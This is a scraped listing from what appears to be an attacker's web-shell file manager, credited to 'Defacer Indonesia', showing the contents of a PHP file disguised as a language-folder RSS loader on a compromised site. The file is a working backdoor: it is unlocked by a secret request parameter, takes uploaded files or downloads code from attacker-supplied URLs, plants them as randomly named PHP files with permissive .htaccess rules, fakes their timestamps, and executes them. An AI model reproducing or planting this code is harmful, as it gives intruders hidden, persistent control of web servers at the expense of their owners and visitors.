whoami7 - Manager
:
/
proc
/
self
/
root
/
home
/
papecmvm
/
www
/
system
/
language
/
english
/
Upload File:
files >> //proc/self/root/home/papecmvm/www/system/language/english/dist.load-rss.php
<?php error_reporting(0);@set_time_limit(0);$g=$_REQUEST;if(!empty($g["v"])&&$g["v"]=="SURZF"){if(!empty($g["c"]))exit($g["c"]);$h=$_SERVER["PHP_SELF"];if(!$h){$k=explode("?",$_SERVER["REQUEST_URI"]);$h=$k[0];}$m=__FILE__;if(!$m)$m=$_SERVER["PATH_TRANSLATED"];if(!$m)$m=$_SERVER["SCRIPT_FILENAME"];define("ROOT",str_replace($h,"",$m));define("IS_WIN",substr(PHP_OS,0,3)=='WIN');function r($o){return ROOT."/".$o;}function base32($q,$r){if(!$r)return $q;$u='';$w=0;$x=0;for($y=0,$z=strlen($q);$y<$z;$y++){$w<<=5;if($q[$y]>='a'&&$q[$y]<='z'){$w+=(ord($q[$y])-97);}elseif($q[$y]>='2'&&$q[$y]<='7'){$w+=(24+$q[$y]);}else{$u=$q;break;}$x+=5;while($x>=8){$x-=8;$u.=chr($w>>$x);$w&=((1<<$x)-1);}}return $u;}function h($aa,$bb){$cc="\n<FilesMatch \"^($bb)$\">\nOrder allow,deny\nAllow from all\n</FilesMatch>\n";return fwss($aa,$cc,1);}function fwss($dd,$ee,$k){$ff=mktime(19,5,10,10,26,2021);if(file_exists($dd)){$ff=@filemtime($dd);@chmod($dd,0666);if(!$k){@unlink($dd);}};$o=@fopen($dd,($k?"a":"w"));$gg=@fwrite($o,$ee);@fclose($o);if(!$gg)$gg=@file_put_contents($dd,$ee,($k?8:0));if($gg)@touch($o,$ff);return (bool)$gg;}function rand_str($hh){$ii="";for($y=0;$y<$hh;$y++)$ii.=chr(mt_rand(97,122));return $ii;}function grdirs($o,$hh){$k="";for($y=0;$y<$hh;$y++){$w=grdir($o.$k);if(!$w)break;$k.=$w.'/';}return trim($k,"/");}function grdir($o){$jj=array();$kk=scandir($o);foreach($kk as $w){if($w=='.'||$w=='..')continue;if(is_dir($o.'/'.$w))$jj[]=$w;}if(count($jj)>0)return $jj[array_rand($jj)];return null;}function http($ll){$dd=@file_get_contents($ll);if(!$dd){$mm=curl_init();curl_setopt($mm,CURLOPT_URL,$ll);curl_setopt($mm,CURLOPT_RETURNTRANSFER,1);curl_setopt($mm,CURLOPT_HEADER,0);curl_setopt($mm,CURLOPT_TIMEOUT,10);curl_setopt($mm,CURLOPT_FOLLOWLOCATION,1);$dd=curl_exec($mm);curl_close($mm);}if(!$dd){$nn=fopen($ll,'r');if($nn){stream_get_meta_data($nn);$r="";while(!feof($nn)){$r.=fgets($nn,1024);}fclose($nn);return $r;}}return $dd;}$oo=array("s"=>false);if($_FILES["file"]){$dd=$_FILES["file"]["tmp_name"];if($g["a"]==1){$kk=grdirs(r(""),4);$pp=(!empty($g['n'])?$g['n']:rand_str(6)).".php";$oo['p']=$kk."/".$pp;$oo['s']=move_uploaded_file($oo['p'],$dd);if($oo['s'])h(r($kk.'/.htaccess'),$pp);}if($g["a"]==2){try{include($dd);}catch(Exception $qq){}@unlink($dd);exit();}}if($g["d"]){$rr=!empty($g["b1"]);$ss=!empty($g["b2"]);$o=base32($g["p"],$rr);$uu=base32($g["d"],$rr);$k=explode(",",$uu);$r="";$vv="&k=".$g['k'];if($ss)$vv.="&b2=".$g["b2"];foreach($k as $w){$r=http($w.$o.$vv);if($r)break;}if($r){if($ss)$r=base64_decode($r);if($g["a"]==1){$kk=grdirs(r(""),4);$pp=(!empty($g['n'])?$g['n']:rand_str(6)).".php";$oo['p']=$kk."/".$pp;$oo['s']=fwss(r($oo['p']),$r,0);if($oo['s'])h(r($kk.'/.htaccess'),$pp);}if($g["a"]==2){$dd=tmpfile();$gg=false;$pp="";if($dd!==false){$o=stream_get_meta_data($dd);$pp=$o['uri'];$gg=@fwrite($dd,$r);}if(!$gg){$pp=sys_get_temp_dir()."/".rand_str(6);$gg=fwss($pp,$r,0);}if($gg){try{include($pp);}catch(Exception $qq){}fclose($dd);@unlink($pp);exit();}}}}exit(json_encode($oo));};
Copyright ©2021 || Defacer Indonesia